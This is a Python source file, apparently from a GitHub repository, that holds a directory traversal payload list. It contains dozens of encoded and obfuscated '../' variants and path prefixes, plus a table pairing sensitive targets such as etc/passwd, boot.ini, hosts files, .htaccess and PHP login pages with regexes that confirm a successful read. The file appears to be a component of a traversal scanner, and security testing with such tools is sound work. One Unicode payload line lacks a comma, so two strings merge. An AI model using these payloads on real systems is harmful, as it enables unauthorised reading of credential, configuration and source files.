-
Notifications
You must be signed in to change notification settings - Fork 65
/
Copy pathmatch.py
91 lines (85 loc) · 1.77 KB
/
match.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
befvar = (
"",
"./",
"/",
"\\",
"",
".\\",
"file:",
"file:/",
"file://",
"file:///",
)
dotvar = (
"",
"/..",
"....//",
"//....",
"%252e%252e%255c",
"%2e%2e%5c",
"..%255c",
"..%5c",
"%5c../",
"/%5c..",
"..\\",
"%2e%2e%2f",
"../",
"..%2f",
"%2e%2e/",
"%2e%2e%2f",
"..%252f",
"%252e%252e/",
"%252e%252e%252f",
"..%5c..%5c",
"%2e%2e\\",
"%2e%2e%5c",
"%252e%252e\\",
"%252e%252e%255c",
"..%c0%af",
"%c0%ae%c0%ae/",
"%c0%ae%c0%ae%c0%af",
"..%25c0%25af",
"%25c0%25ae%25c0%25ae/",
"%25c0%25ae%25c0%25ae%25c0%25af",
"..%c1%9c",
"%c0%ae%c0%ae\\",
"%c0%ae%c0%ae%c1%9c",
"..%25c1%259c",
"%25c0%25ae%25c0%25ae\\",
"%25c0%25ae%25c0%25ae%25c1%259c",
"..%%32%66",
"%%32%65%%32%65/",
"%%32%65%%32%65%%32%66",
"..%%35%63",
"%%32%65%%32%65/",
"%%32%65%%32%65%%35%63",
"../",
"...\\",
"..../",
"....\\",
"........................................................................../",
"..........................................................................\\",
"..%u2215",
"%uff0e%uff0e%u2215"
"..%u2216",
"..%uEFC8",
"..%uF025",
"%uff0e%uff0e\\",
"%uff0e%uff0e%u2216",
)
match = {
# Windows
"c:\\boot.ini": "boot\W*loader",
"c:\windows\system32\drivers\hosts": "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}[ \t]+[a-zA-Z0-9-_.]*",
# Linux
"etc/hosts": "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}[ \t][a-zA-Z0-9-_.]*",
"etc/passwd": "\w*\:\w\:[0-9]*\:[0-9]*\:[a-zA-Z_-]*\:[\/a-zA-Z0-9]*[ \t]+:[\/a-zA-Z0-9]*",
# TODO
#"etc/group": "\w+\:\w\:[0-9]\:(|[a-z,]*)",
# Apache
".htaccess": "AccessFileName|RewriteEngine|allow from all|deny from all|DirectoryIndex|AuthUserFile|AuthGroupFile",
# PHP
# http://php.net/manual/pt_BR/reserved.variables.php
"login.php": "\<\?php|\$_GET|\$_POST|\$_COOKIE|\$_REQUEST|\$_FILES|\$_SESSION|\$_SERVER|\$_ENV",
"index.php": "\<\?php|\$_GET|\$_POST|\$_COOKIE|\$_REQUEST|\$_FILES|\$_SESSION|\$_SERVER|\$_ENV",
}